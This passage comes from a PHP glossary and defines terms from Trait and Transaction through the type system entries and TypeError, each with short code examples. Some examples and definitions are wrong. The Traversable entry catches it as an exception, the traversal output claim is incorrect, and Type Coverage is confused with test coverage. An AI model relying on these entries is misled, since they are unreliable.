Other tools, like Xdebug or php-trace, build the callgraph over the execution of the whole code, not only on errors.
<?php
function c() {
throw new Exception('Something went wrong');
}
function a() { b(); }
function b() { c(); }
a();
/**
Fatal error: Uncaught Exception: Something went wrong in file.php:3
Stack trace:
#0 file.php(7): c()
#1 file.php(11): b()
#2 file.php(14): a()
#3 {main}
*/
?>
See Also
Related
Trailing Comma
The trailing comma is the possibility to leave the last element of a list empty. This is for presentation reasons. In particular, VCS will be able to treat the last line just like any other previous line, with a final comma. This reduces the amount of diff.
Trailing commas were introduced progressively. In version 7.2, in use statements; in version 7.3, in method calls; in version 8.0, in method declarations; in older versions, in array declarations.
<?php
$a = [1,
2,
3,
// Adding a new element in this array only creates
// a one line diff, when using the trailing comma
];
?>
See Also
Related
Trait
Traits are a mechanism for code reuse in single inheritance languages.
Traits define methods and properties. They are included in one or several classes by the use of use expression.
<?php
trait T {
const CONSTANT = 1;
private $property;
function method() {}
}
class x {
use t;
}
?>
See Also
- Traits are not inherited
- What are traits
- Some lesser known facts of Traits in PHP
- When to use a trait?
- The difference between Traits, Interfaces, and Abstract Classes in PHP
- ext/traitify
- Traits
Related
- Class
- Class Interface Trait Enumeration (CITE)
- Use
- $this
- Const
- Constants In Trait
- Use In Traits
- Method Collision
- Method
- Method Resolution Order (MRO)
- Polymorphism
- Extension Method
- Mixin
- Open Class
- Soft Delete
Transaction
A transaction is a sequence of database operations that is treated as a single atomic unit. Either all operations succeed and are committed together, or any failure causes all of them to be rolled back, leaving the database unchanged.
Transactions follow the ACID properties, which are Atomicity, Consistency, Isolation, and Durability.
Transactions are most commonly used through PDO or database-specific extensions. An explicit transaction starts with beginTransaction(), ends with commit(), and is undone with rollBack().
ORM such as Doctrine and Eloquent also expose transaction helpers and often wrap operations automatically.
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'pass');
try {
$pdo->beginTransaction();
$pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
$pdo->commit();
} catch (Throwable $e) {
$pdo->rollBack();
throw $e;
}
?>
See Also
Related
- PHP Data Objects (PDO)
- Database
- Exception
- Try-catch
- Rollback
- Atomic Operation
- Database Commit
- Race Condition
- ACID
- Foreign Key (FK)
- Referential Integrity
- Software Transactional Memory (STM)
- Write-Ahead Logging (WAL)
Transpile
Transpiling, short for source-to-source compiling, is a process in software development where source code written in one programming language is transformed into equivalent code in another programming language. This is typically done to make code compatible with a different runtime environment, platform, or version of a language.
Transpilation is often used in the context of modern web development. For example, many developers write code using newer features of JavaScript, which may not be supported by older web browsers. In such cases, the code can be transpiled to an older version of JavaScript that is more widely supported.
There are also languages that are converted to PHP, such as Haxe.
See Also
Related
Traversable
Traversable is a specific PHP interface that represents an object that can be iterated over.
Traversable is an abstract interface: it cannot be implemented directly, and instead, it must be implemented by either IteratorAggregate or Iterator.
The traversable interface is used for typing purposes.
<?php
try {
doSomething();
} catch (\Traversable $e) {
print "Some error was raised during processing: ". $e::class;
}
?>
See Also
Related
Traversal
A traversal is the process of listing all elements in a data structure.
foreach() is a command to do a traversal on an array, an object or an iterable object. It is also possible to use an iterator.
Traversal may be recursive: for example, the recursive iterators in the SPL library feature the RecursiveArrayIterator class, which traverses multi-dimensional arrays.
Traversal of a tree or graph data structure turns the graph into an array-like list.
<?php
$array = range(0, 9);
foreach($array as $item) {
print "$item\n";
// list digits from 0 to 9
}
// adds 10, 11, 12 to the previous array
// in a separate
$array[] = [10, 11, 12];
$iterator = new RecursiveArrayIterator($array);
foreach($iterator as $item) {
print "$item\n";
// list digits from 0 to 12
}
?>
See Also
Related
Tree
A tree is a data structure which represents data as a set of connected nodes, where each node has only one parent.
A tree is made of nodes linked by edges, starting from a single node called the root, which has no parent. Every other node has exactly one parent and zero or more children; nodes without children are called leaves. Because each node has a unique parent, there is exactly one path between the root and any other node, and no cycles can exist, which distinguishes a tree from a more general graph. Common measurements on a tree include its depth, the distance from the root to a given node, and its height, the length of the longest path from the root to a leaf. Special cases include the binary tree, where every node has at most two children, and the binary search tree, which additionally keeps its nodes ordered to allow fast lookup, insertion, and deletion.
PHP has no native tree data structure or class: unlike SplStack or SplQueue, the SPL extension does not ship a dedicated tree implementation. PHP developers typically build trees out of nested arrays, where each entry holds a ‘children’ key pointing to further arrays, or out of plain objects with a $parent property and a $children array, linked together by reference. Recursive functions, or a RecursiveIteratorIterator combined with a RecursiveArrayIterator, are then used to traverse the resulting structure.
Trees appear throughout PHP itself and its ecosystem, even without a dedicated class: the Document Object Model exposed by the DOM extension is a tree of nodes, an Abstract Syntax Tree is what a PHP parser such as nikic/PHP-Parser builds from source code, and hierarchical data such as file systems, category trees, or comment threads are all naturally modeled as trees, often stored relationally using the nested set model or an adjacency list.
See Also
Related
Related packages
Treemap
Treemaps are a visualization tool used to understand the relative weight of partitions. It works on file systems, and nested code structures. Each zone may be dimensioned by its weight, and also colored with another indicator.
See Also
Related
Related packages
trigger_error()
trigger_error() is a PHP native function, which raises an error, in the style of PHP engine. It can raise notice, warning, deprecated and error.
<?php
echo $a;
trigger_error('This is a warning, that says: Undefined variable $x', E_USER_WARNING);
?>
See Also
Related
trim
The trim() function is used to remove whitespaces from the beginning and end of a string, at the same time.
By default, it removes any of the following characters from the start and end of the string:
- Space
" " - Horizontal tab
\t - Newline
\n - Carriage return
\r - Null-byte
\0
Unbreakable spaces are not considered here, nor any other character, unless specified.
This function does not support multi-byte characters. It actually uses single-byte characters, and may leave inconsistent characters, or, with luck, it may actually remove the characters. Multibyte trim shall be done with mb_trim().
trim() removes all the provided characters, as long as it finds them leading or trailing the string. It is not possible to remove only one character with this function.
trim() is completed with ltrim(), which is removing characters on the left part of the string, and with rtrim(), which is removing characters on the right part of the string.
<?php
$string = "\n\t PHP ";
$trimmed = trim($string);
// 'PHP'
$b = 'aaaaaab';
print trim($a, 'a'); //b
$a = '我是法国人';
print $a; //我是法国人
print trim($a, '人我'); //��法国
?>
See Also
Related
Triple
Triple usually means that something appears only three times in a row.
Triple is opposed to double and single, but it may also be distinct with any other number of repetition, such as quadruple, etc.
Things that may be triple:
- Triple equal
===, not to be confused with the single equal=or the double one==.
<?php
$a = 1;
$a == 1; // true
$a === 1; // true too.
?>
See Also
Related
Troubleshoot
To troubleshoot is to diagnostic and correct a problem in a piece of software. It involves gathering information, isolating the root cause, applying solutions, and verifying functionality, often starting with simple checks like rebooting to resolve errors, slow performance, or connectivity problems.
Troubleshoot applies to every aspect of the lifecycle of PHP: installation, running the code, performing under constraints, etc.
See Also
Related
True
true has two usages, as PHP keyword. It is the opposite of false, as a boolean value and it is also a standalone type for methods and functions that may return a boolean, but only true, never false.
<?php
function trumpet($a) : true|Elephpant {
if ($a == 1) {
return true;
} else {
return new Elephpant();
}
}
?>
See Also
Related
Truthy
A truthy value is a value that evaluate to true, when cast to a boolean. It includes true, obviously, but also other values such as 1, -1, '0', strings, except the empty string and '0, non-empty arrays and all the objects.
The contrary to truthy is falsy.
There are some values which are difficult to guess, as is illustrated below.
<?php
var_dump((bool) 1); // true
var_dump((bool) -1); // true
var_dump((bool) '0'); // false
var_dump((bool) '00'); // true
var_dump((bool) []); // false
var_dump((bool) [null]); // true
var_dump((bool) new stdclass); // true
?>
See Also
Related
Try-catch
Try-catch is a PHP command, which runs a block of code, and catches some configured exceptions that the block may throw. It may be completed with a finally block.
The catch clause may be anonymous, when it only specifies the type of caught exception, without providing a variable name.
<?php
try {
callSomeMethod();
} catch (\Exception $e) {
// process the error here
}
?>
See Also
- PHP: Try and Catch me if you can!
- How to Implement Try Catch Finally Blocks in PHP
- A PHP Pattern To Avoid Try/Catch Blocks Repetition
Related
- Finally
- Anonymous Catch
- ArgumentCountError
- ArithmeticError Error
- Catch
- Error
- Chaining Exceptions
- Exception Handler
- Exception
- mysqli_sql_exception
- PHP Predefined Exception
- throw
- Syntax
- Fatal Error
- Resource Leak
- Eval()
- Ignored Catch
- set_error_handler()
- Transaction
Time To Live (TTL)
Time To Live, abbreviated TTL, is a value that defines how long a piece of data remains valid before it expires and must be refreshed or discarded. It is expressed in seconds in most contexts.
TTL appears across many layers of a PHP application: cache entries like Redis, Memcached, APCu, etc., DNS records, HTTP cache headers such as Cache-Control: max-age, JSON Web Tokens, session lifetimes, and idempotency key storage.
A short TTL reduces stale data at the cost of more frequent repeat of calculation or fetching. A long TTL improves performance but risks serving outdated information.
See Also
Related
- Cache
- Idempotent
- Session
- JSON Web Token (JWT)
- HTTP Headers
- Domain Name System (DNS)
- Memoization
- Cache Stampede
- Content Delivery Network (CDN)
- Deduplication
- Replay
- Cache Warming
- Cold Cache
- Hot Cache
- Temporary
Terminal User Interface (TUI)
A Terminal User Interface, or TUI for short, is a type of user interface that uses text-based graphics and keyboard interaction within a terminal or console, providing a richer experience than a plain CLI while avoiding the overhead of a graphical desktop. TUIs typically use character-based drawing to build menus, forms, and panels. TUI applications are often built with the CLI SAPI and libraries such as Termwind or php-tui.
<?php
// example from https://php-tui.github.io/php-tui/docs/guides/getting-started/
declare(strict_types=1);
use PhpTui\Tui\DisplayBuilder;
use PhpTui\Tui\Extension\Core\Shape\MapResolution;
use PhpTui\Tui\Extension\Core\Shape\MapShape;
use PhpTui\Tui\Extension\Core\Widget\CanvasWidget;
require 'vendor/autoload.php';
$display = DisplayBuilder::default()->build();
$display->clear();
$display->draw(
CanvasWidget::fromIntBounds(-180, 180, -90, 90)
->draw(
MapShape::default()->resolution(MapResolution::High)
)
);
See Also
Related
- Command Line Interface (CLI)
- Server Application Programming Interface (SAPI)
- Desktop Application
- Application
Related packages
Tuple
A tuple is a fixed-size, ordered collection of values, where each position may hold a different type, and the type of the whole tuple is the sequence of its element types, such as Rust’s (i32, String, bool) or Python’s (1, 'a', True). Unlike an array or a list, a tuple’s length and per-position types are fixed at compile time, and are checked by the type system.
Tuples are typically used for lightweight, unnamed grouping of a small number of related values, such as returning two values from a function without declaring a structure or class for the purpose.
PHP has no native, typed tuple. A plain indexed array can hold mixed values at fixed positions, and list assignment [$a, $b] = $pair; can destructure it, but the array’s size and per-position types are not tracked or enforced anywhere; array{int, string, bool} shapes exist only as PHPDoc annotations understood by static analyzers, not by the engine.
<?php
// Untyped and unchecked: any size, any types, at any position.
$pair = [1, 'a'];
[$number, $letter] = $pair;
?>
See Also
Related
Tutorial
Tutorial is a type of documentation.
A tutorial is a step-by-step instructional guide designed to teach a specific skill, concept, or process. It breaks down complex topics into manageable, easy-to-follow instructions, often with practical examples or hands-on exercises. Tutorials are commonly used in education, software development, and self-learning to help users or developers understand and apply new knowledge efficiently.
See Also
Related
Twig
Twig is a template engine for PHP, created by SensioLabs and used as the default templating layer of the Symfony framework. It is also used standalone in many other projects, such as Drupal, Craft CMS, and countless custom applications.
Twig separates presentation from business logic by offering its own, restricted syntax, delimited by {{ }} for output, {% %} for control structures, and {# #} for comments, that compiles down to plain PHP for execution. Because template code cannot arbitrarily call any PHP function or access superglobals, Twig sandboxes what designers and untrusted template authors can do, and automatically escapes output to prevent XSS by default.
Key Twig features include template inheritance with {% extends %} and {% block %}, reusable includes and macros, filters such as |upper or |date, and an extension system that lets applications expose custom functions and filters to templates.
<?php
require_once __DIR__ . '/vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader(__DIR__ . '/templates');
$twig = new \Twig\Environment($loader);
echo $twig->render('user.html.twig', [
'name' => 'Alice',
'roles' => ['admin', 'editor'],
]);
?>
See Also
Related
- View
- Template
- Symfony
- Model - View - Controller (MVC)
- Cross Site Scripting (XSS)
- HyperText Markup Language (HTML)
- Blade
Related packages
Type Checking
Type checking is the process of verifying that the types of expressions, variables, arguments, and return values are consistent with their declarations and usage. It can take place before execution, as static type checking, or during execution, as runtime type checking, and the two complement each other.
Static type checking is performed by tools before the script ever runs. These tools rely on type inference to deduce the type of every expression, then compare those inferred types against declared signatures and usage. Because PHP does not natively support generics, static checkers extend the language with PHPDoc-style @template annotations that let a single class or function describe type-safe behaviour for multiple element types; those annotations exist only for the checker and are fully erased at runtime.
Runtime type checking is enforced by the PHP engine at the moment a typed boundary is crossed: when a function is called, when a value is assigned to a typed property, or when a function returns. In strict mode, declare(strict_types=1), PHP rejects values that do not match the declared type instead of coercing them, throwing a TypeError. Explicit guards such as is_string(), instanceof, or assert() are also runtime checks that programmers add themselves.
The two phases sit at different points in the order of execution: static analysis happens entirely before the script starts, while runtime enforcement happens progressively as each statement executes. A type error caught statically prevents a whole class of bugs from ever reaching production; a runtime error caught by PHP’s engine surfaces only when the relevant code path is actually reached.
<?php
declare(strict_types=1);
// Static type checking that verifies this signature is used correctly
// Runtime type checking: PHP rejects a non-string argument at call time
function shout(string $message): string {
return strtoupper($message);
}
// PHPDoc generics: @template T informs static checkers; erased at runtime
/**
* @template T
* @param T $value
* @return T
*/
function identity(mixed $value): mixed {
return $value;
}
// Explicit runtime check narrows the type for both static and runtime phases
function process(mixed $value): string {
if (!is_string($value)) {
throw new \TypeError('Expected string');
}
// inferred as string from here by static checkers AND enforced at runtime
return strtoupper($value);
}
?>
See Also
- PHP RFC: Scalar Type Declarations
- PHPStan – Understanding Types
- Psalm – Typing in Psalm
- Runtime type checking is great
Related
- Type Inference
- Static Code Analysis (SCA)
- Runtime Checks
- Gradual Type Checking
- Generics
- Types Erasure
- Order Of Execution
- strict_types
- Type System
- TypeError
- Type Juggling
- Type Coverage
- instanceof
- is_a()
- Array Shape
- Nominal Type
- Phantom Type
- Refinement Type
- Strict
- Structural Typing
- Type Narrowing
- Type Coercion
- gettype()
- is_array()
- is_bool()
- is_int()
- is_iterable()
- is_string()
- Gradual Typing
- is_float()
- PHPStan
- Psalm
Type Class
A type class, as found in Haskell and similar languages, is a named set of functions that a type must implement in order to belong to that class. Unlike an object-oriented interface, a type class is not implemented by the type itself: instances are declared separately, so a type class can be attached to a type after the fact, including to types the author does not own, such as built-in numbers or third-party types.
Type classes provide ad-hoc polymorphism: the same function name, such as == or show, resolves to a different implementation depending on the type of its argument, chosen by the compiler at compile time rather than looked up in a table at runtime.
PHP has no type class mechanism. Ad-hoc polymorphism over an existing type can only be approximated with interfaces implemented by the type’s own class, free functions with manual type checks, or match expressions branching on gettype(). There is no way to retroactively attach a shared contract to a type PHP’s engine already knows about, such as int or a class from a third-party library, without wrapping it.
See Also
Related
Contravariance
Contravariance allows a parameter type to be less specific in a child method, than that of its parent.
This means that a parameter $trunk in the method trumpet of the child class Calf can be a parent of the type in the method trumpet of the parent class.
Less specific types can be: the same type AfricanElephpant, a parent class of the AfricanElephpant type, here Elephpant, an interface implemented by the type AfricanElephpant, a union type, such as AfricanElephpant|string. In particular, the type may become nullable.
It cannot be a totally different type, an intersection type, such as AfricanElephpant&A, a different class that implements the same interface as AfricanElephpant, or a different scalar type.
<?php
class Elephpant {}
class AfricanElephpant extends Elephpant {
// This method accepts an object compatible with AfricanElephpant, but less specific
function trumpet(AfricanElephpant $trunk) { }
}
class Calf extends AfricanElephpant {
function trumpet(Elephpant $trunk) { }
}
?>
See Also
Related
- Covariance
- Nullable
- Intersection Type
- Union Type
- Scalar Types
- Type Invariant
- Liskov Substitution Principle (LSP)
Covariance
Covariance allows a child’s method to return a more specific type than the return type of its parent’s method.
This means that the type of the return value in the method trumpet of the child class Calf can be a child of the type of the return value in the method trumpet of the parent class AfricanElephpant.
Less specific types can be: the same type AfricanElephpant, a child class of the AfricanElephpant type, here Calf, an intersection type, such as AfricanElephpant&Z. In particular, the type may not become nullable.
It cannot be a totally different type, a union type, such as AfricanElephpant|A, any class that implements the same interfaces as AfricanElephpant, or a different scalar type.
<?php
class Elephpant {}
class AfricanElephpant extends Elephpant {
function trumpet() : AfricanElephpant { }
}
class Calf extends AfricanElephpant {
// This method returns an object compatible with AfricanElephpant, but more specific
function trumpet() : Calf { }
}
?>
See Also
Related
Type Coverage
Type coverage reports how much of the PHP code has types. The elements that can be typed are:
- Arguments in methods
- Return type
- Properties
- Class constants
Some elements cannot be typed:
- Arrays
- Lexical variables
- Yield values
- Local variables.
Type coverage is used as a metrics, to ensure that every line of code is used at least once during the tests. While it is a necessary feature, this is not always sufficient to ensure that the application is well tested, as lines of code are reused in several situations, and would require multiple tests.
<?php
function trumpet($i = 0) : int {
return $i + 1;
}
?>
See Also
Related
Related packages
Property Type Declaration
Type declaration property, also known as typed properties, is a feature introduced in version 7.4 that allows specifying the type of a class property.
With typed properties, the type of a property is explicitly defined, ensuring that only values of the specified type can be assigned to that property. This helps enforce type safety and prevents accidental assignments of incompatible values.
Typed properties support any type format: simple, union, intersection or DNF. Nullable types are expressed with a leading ?, such as ?string.
A typed property that has not been initialized before it is read triggers an Error exception. Typed properties must be explicitly assigned before use, either in the constructor or at the declaration site.
Since PHP 8.1, typed properties may also be declared readonly, which prevents any assignment after the initial one.
<?php
class Elephpant {
private Typed $tusk;
}
?>
See Also
Related
- Type System
- Union Type
- Intersection Type
- Disjunctive Normal Form (DNF)
- Readonly
- Nullable
- Properties
- Uninitialized
- TypeError
- Return Type
- Promoted Properties
- Property Hook
- Asymmetric Visibility
- static
- Var
Types Erasure
Type Erasure is the removal of type annotations from the source code when going to production.
There may be several goals with this operation:
- Handle unsupported types, such as generics. They are supported by tooling, but not by the PHP engine, so after using them during the development phase, they are removed
- Speed up production code by removing execution-time checks. This requires that types are safe and sound
Type erasure is a transformation tool, akin to transpiling, that converts the developed code into production code: it is run at the deployment stage.
One alternative to type erasure is monomorphization, where every needed type is created.
See Also
Related
Type Inference
Type inference is the ability of a tool, such as a static analyzer or the PHP engine, to deduce the type of an expression, variable, or return value without an explicit type declaration.
PHP itself does not infer types for local variables: their type can only be declared on function arguments, return values, properties, and constants. However, static analyzers perform type inference by tracking assignments, control-flow branches, and function signatures to determine what type a value holds at every point in the code.
Type inference enables early detection of type errors even in partially or untyped code. It is the engine behind gradual type checking: the tool fills the gaps left by missing annotations. PHPDoc blocks, @var, @param, @return, are additional hints that guide inference when the code alone is ambiguous.
A classic example is narrowing: after an is_string() guard, the analyzer infers that the variable is a string inside the if-branch, removing false-positive warnings.
<?php
function process(mixed $value): string {
if (is_string($value)) {
// type inferred as string here
return strtoupper($value);
}
// type inferred as int|float|bool|array|object|null here
return (string) $value;
}
?>
See Also
- Type Inference in PHP using Deep Learning
- Psalm – Typing in Psalm
- Narrowing types for static analysis
- Type inference for PHP
Related
- Type System
- Type Juggling
- Type Checking
- Gradual Type Checking
- Type Coverage
- Dependent Type
- Static Expression
- Union Type
- Mixed
- PHPdoc
- Autocompletion
Type Juggling
Type juggling is the emblematic PHP feature, where data has no specific type definition, and its type may change depending on the situation.
For example, integers are translated into string when displayed, or kept as integers to be used with math operations.
Type juggling is usually done automatically, without user intervention. Explicit type juggling is achieved with the cast operators.
<?php
$a = '35';
echo $a + 4; // display 39
echo substr($a, -1); // display 5
?>
See Also
- How PHP Type Juggling Works – Explained with Code Examples
- PHP Type Juggling Vulnerability
- Type Juggling
- How I Chained Mass Assignment + PHP Type Juggling to Take Over Any Account on a Live Platform
Related
- Cast Operator
- Boolean
- Comparison
- Condition
- Magic Hash
- Silent Behavior
- String Increment
- Type Checking
- Type System
- Type Inference
- Hash Comparisons
- Type Coercion
- Capture The Flag (CTF)
- Footgun
- Strict
- get_debug_type()
- gettype()
- is_numeric()
- settype()
Type Narrowing
Type narrowing is the general process of refining the type of a value to a more specific subtype within a scope, based on information gathered from a preceding check: a type test, a comparison, an assignment, or a control-flow branch. It is a property of the type system or of the analysis performed on top of it, not of any single language feature.
Type narrowing shows up under many names depending on where it is enforced: TypeScript calls it control flow analysis, Kotlin calls the compiler-enforced form a smart cast, Flow and mypy narrow types across isinstance/typeof guards, and Rust’s borrow checker narrows Option<T> after a match arm destructures it. In all these systems the compiler tracks, statement by statement, which subtype a variable is guaranteed to hold, and rejects code that contradicts that guarantee.
PHP’s engine performs no static narrowing: types are checked at runtime, not tracked through control flow at compile time. Narrowing code is therefore always the work of an external tool:
- Some static analysis tools narrow variables inside
instanceof,is_string()/is_int()/etc.,isset(),array_key_exists(), andmatch/switchbranches, purely for static-analysis purposes. - Custom assertions,
@psalm-assertand@phpstan-assertannotations, extend narrowing to user-defined predicate functions. - None of this narrowing is enforced by the PHP runtime; a value can still be used inconsistently with the narrowed type and only fail, if at all, when the offending operation actually executes.
smart-cast names the specific compiler-enforced flavor of narrowing found in languages like Kotlin and TypeScript; type narrowing is the broader concept those features are instances of.
<?php
function describe(int|string $value): string {
if (is_int($value)) {
// Static analysers narrow $value to int in this branch;
// the PHP engine performs no such tracking.
return "int: " . ($value + 1);
}
// Narrowed to string here, again only for the analyser's benefit.
return "string: " . strtoupper($value);
}
?>
See Also
Related
- Smart Cast
- Type Widening
- instanceof
- Type System
- Type Checking
- Gradual Type Checking
- Union Type
- Static Code Analysis (SCA)
Type Parametricity
Type parametricity, or parametric polymorphism, is the ability to write a function, class, or interface once and have it work uniformly over any type, with that type supplied as a parameter rather than hard-coded. list<Order> and array<string, Money> describe the same shape as list<Animal>: only the type parameter changes, the code that manipulates the list does not.
PHP has no native syntax for this. Every type declaration the engine understands, from class types to scalar types to DNF types, is checked at runtime, and a naive generics implementation would either need a full compilation step that verifies the parameter before execution, as Java and TypeScript do through type erasure, or it would need to check the parameter at every access, which the engine does not currently do.
In practice, PHP code expresses type parametricity today through a docblock type language, interpreted by tools such as PHPStan and Psalm rather than by the engine: @param list<Order> $orders. This delivers most of the benefit of generics without a language change, at the cost of the check happening in a separate tool instead of the runtime. Proposals such as bound-erased generic types tried to bring the syntax into the language without the runtime check and were declined for breaking the invariant that a PHP type declaration is always enforced; a gradual, runtime-checked path starting with invariant type parameters on interfaces is being explored instead.
<?php
/**
* @param list<Order> $orders
* @return Money
*/
function total(array $orders): Money
{
return array_reduce($orders, fn (Money $sum, Order $o) => $sum->add($o->total()), Money::zero());
}
?>
See Also
Related
- Generics
- Types Erasure
- Covariance
- Existential Type
- Row Polymorphism
- Type System
- Polymorphism
- Docblock
- Static Code Analysis (SCA)
Type System
A type system is a formal set of rules that assigns a type to every expression in a program and uses those types to determine which operations are valid, how values are stored, and what errors can be detected before or during execution. Type systems span a spectrum from loose and implicit to strict and expressive.
Key dimensions of a type system:
- Static vs dynamic: static type checking happens before execution, as in C, Java, Rust, Haskell; dynamic type checking happens at runtime, as with Python, Ruby. A statically typed language catches type errors at compile time; a dynamically typed one catches them only when the erroneous operation is executed.
- Strong vs weak: a strongly typed language refuses implicit coercion between incompatible types, as in Python, Rust; a weakly typed one performs automatic conversions, as in classic C, early PHP. Strength is orthogonal to static vs dynamic.
- Nominal vs structural: nominal typing requires explicit declaration of type relationships,
class Foo implements Bar; structural typing, as in Go interfaces,TypeScriptconsiders two types compatible if they share the same shape, regardless of declaration. - Sound vs unsound: a sound type system guarantees that well-typed programs never produce type errors at runtime. PHP’s type system, even with strict_types, is unsound:
mixedparameters, union types, and coercion paths leave runtime type errors possible.
PHP’s type system has evolved significantly:
- Pre-PHP 5: no type declarations; all typing is dynamic and implicit.
- PHP 5: class and interface type on parameters;
arrayandcallablehints added in 5.1/5.4. - PHP 7.0: scalar type declarations,
int,float,string,bool, return type declarations,declare(strict_types=1). - PHP 7.1: nullable types
?Type,voidreturn type,iterablepseudo-type. - PHP 7.2:
objecttype. - PHP 8.0: union types
int|string,mixed,staticreturn type,#[Attribute]for typed metadata,matchwith strict comparison. - PHP 8.1: intersection types
Countable&Iterator,neverreturn type,readonlyproperties. - PHP 8.2:
true,false,nullas standalone types, DNF types(A&B)|C, readonly classes. - PHP 8.3+: typed class constants,
\Overrideattribute.
Static analysers add a richer layer of type inference and generics @template on top of PHP’s native declarations, providing near-sound type checking as a development tool without changing runtime behaviour.
<?php
declare(strict_types=1);
// Union type (PHP 8.0): parameter accepts int or string
function formatId(int|string $id): string {
return (string) $id;
}
// Intersection type (PHP 8.1): must implement both interfaces
function processCollection(Countable&Iterator $col): void {
foreach ($col as $item) { /* ... */ }
}
// Readonly property (PHP 8.1): immutable after construction
class Point {
public function __construct(
public readonly float $x,
public readonly float $y,
) {}
}
// DNF type (PHP 8.2): (A&B)|null
interface Serializable {}
interface Loggable {}
function handle((Serializable&Loggable)|null $obj): void {
if ($obj === null) return;
// $obj is guaranteed to implement both interfaces here
}
// generic annotation (static analysis only, no runtime effect)
/** @template T of \DateTimeInterface */
class TimestampedCollection {
/** @var list<T> */
private array $items = [];
/** @param T $item */
public function add(mixed $item): void { $this->items[] = $item; }
}
?>
See Also
Related
- strict_types
- Union Type
- Intersection Type
- Nullable
- Generics
- Readonly
- Template Metaprogramming (TMP)
- Static Code Analysis (SCA)
- Algebraic Data Type
- Existential Type
- Generalized Algebraic Data Type (GADT)
- Higher-Kinded Type
- Linear Type
- Phantom Type
- Refinement Type
- Row Polymorphism
- Semantic Analysis
- Array Shape
- Effect System
- Nominal Type
- Structural Typing
- Type Class
- Type Narrowing
- Type Widening
Type Widening
Type widening is the conversion of a value or a declared type toward a broader, more general one: a narrower numeric type is promoted to a wider one in an expression, or a specific literal type loses its precision and is generalized to its base type once it escapes the context that produced it.
Two distinct mechanisms both go by this name:
- Numeric widening: Java and C promote
byte/short/intoperands tolong,float, ordoubleas needed so an arithmetic operation can proceed without loss of the smaller operand’s value. - Literal widening in type inference: TypeScript infers the literal type
'red'for aconst, but widens it to the general typestringas soon as the value is assigned to a mutableletbinding, because the compiler can no longer assume the value stays that one literal.
Widening is the opposite of narrowing: narrowing makes a type more specific from context, widening makes it more general.
PHP has a limited, one-directional form of numeric widening: an int argument is silently widened to float when passed to a parameter or property declared float, and this conversion is allowed even under declare(strict_types=1) as the sole documented exception to strict type checking. PHP has no literal types to widen in the TypeScript sense, and no user-visible widening between other scalar types: any other conversion, such as string to int, is coercion, governed by strict_types, rather than widening a value that already fits within a numeric hierarchy.
<?php
declare(strict_types=1);
function scale(float $factor): float {
return $factor * 2;
}
// int is widened to float here, even under strict_types:
// this is the one implicit conversion the engine still performs.
echo scale(3);
?>
See Also
Related
Type System
Type declarations can be added to function arguments, return values, and, as of PHP 7.4.0, class properties. They ensure that the value is of the specified type at call time, otherwise a TypeError is thrown.
<?php
function trumpet(Elephpant $trunk) : void {}
class Herd {
private Elephpant $tusk;
}
?>
See Also
Related
- Disjunctive Normal Form (DNF)
- False
- Mixed
- Never Type
- Nullable
- Object
- Properties
- Return Type
- strict_types
- True
- Property Type Declaration
- Typed Property
- Intersection Type
- Object Type
- Scalar Types
- Special Types
- Union Type
- Variables
- Autowiring
- Propagation
- Pseudo-type
- Type Coverage
- Dependent Type
- Gradual Type Checking
- Relative Types
- Standalone Types
- Autocompletion
- Question Mark ?
- resource
- Types Erasure
- Type Inference
- Alias Types
- Array, []
- Type Coercion
- Composite Type
- Parameter
- Return
- Type Checking
- Void
Typed Constant
A typed constant is a class constant that holds an explicit type, like a property or an argument. Global constants cannot be typed.
The type of a constant is usually guessed from its value, as most of the constant have a single value. A typed constant is used by the inheritance system to ensure that redefined constants, in children classes, are compatible with the original type.
Typed constant may also be useful when the static expression uses conditions or global constants.
Typed constants were introduced in version 8.3. They are optional.
<?php
class Elephpant {
// expression with a condition
const string HABITAT = SAVANNA ? 'A' : 'B';
// child class also provide an integer
const int WEIGHT = 3;
// AGE is defined with a global constant: Now, MATRIARCH_AGE also must be an integer
const int AGE = MATRIARCH_AGE;
}
class Calf extends Elephpant {
const int WEIGHT = 13;
}
?>
See Also
Related
Typed Property
A typed property has a type in its definition.
Typed property may have a default value, although it must be compatible with the specified type. Typed properties cannot have a default values when they are typed with an object type.
The type applies all the time: unlike the parameter’s type, any usage of the property must be compatible with the type.
Typed properties may be static or not.
Typed properties are a base for readonly and asymmetric visibility.
<?php
class Elephpant {
private int $i = 1;
private readonly float $trunkLength;
public static string $s;
}
?>
See Also
Related
TypeError
A type error refers to an error that occurs when there is a mismatch or violation of data types. It typically happens when a function or operation is performed on a value of an incompatible type. PHP is a dynamically typed language, which means that variable types can change during runtime. However, certain operations and functions expect specific types, and if the actual type doesn’t match the expected type, a type error may occur.
In other situations, PHP applies some type juggling, and automatically convert the type to a suitable type. This is often the case to preserve backward compatibility, when a transparent operation make sense.
<?php
function trumpet(int $i) { }
try {
trumpet('5');
} catch (\TypeError $t) {
print 'Wrong type of argument sent to trumpet()';
}
// PHP convert the integer 12 to the string '12', to allow the concatenation to proceed.
$number = 12;
print "There are ".$number." apple in the tree.";
?>
See Also
Related
Type Error
A TypeError is an error that occurs when there is a mismatch between the expected data type and the actual data type of a variable or value in your code. This applies to method arguments, property types and method return types.
PHP is a dynamically typed language, which means that variable types are not explicitly declared, and PHP determines the data type at runtime. TypeError can occur when PHP encounters a situation where the expected data type does not match the actual data type.
TypeError apply to typed custom methods, native PHP methods and operators. TypeError do not represent an invalid value: for example, an argument may be typed int, and later used in a division, while being zero. This situation will yield a different exception.
TypeError are a kind of Throwable.
<?php
function trumpet(User $user) {
}
try {
trumpet('a');
} catch (TypeError $e) {
print "Wrong type of data\n";
}
?>
See Also
Related
Typo
A typo is short for typographical error. It refers to a mistake made in the typing of the code. Typographical errors can include misspelled words and misplaced operators. Typos can occur in various contexts, such as types, expressions, and naming.
A typo can lead to a visible or invisible error. A typo in the function name of array_slice(), like array_sloce(), leads to a fatal error, as the function is not defined.
On the other hand, a typo on the same function, written array_splice(), note the extra p, leads to argument errors, as this new function exists, but requests different types of data.
Typos happen in any text-based system.
<?php
// The typo has placed the === false INSIDE the in_array(), and changes the behavior
if (in_array($array, $value, $strict === false)) {
}
// the type and is not expected, instead of an integer
function trumpet(ant $i) {
}
?>
See Also
Related
Typosquatting
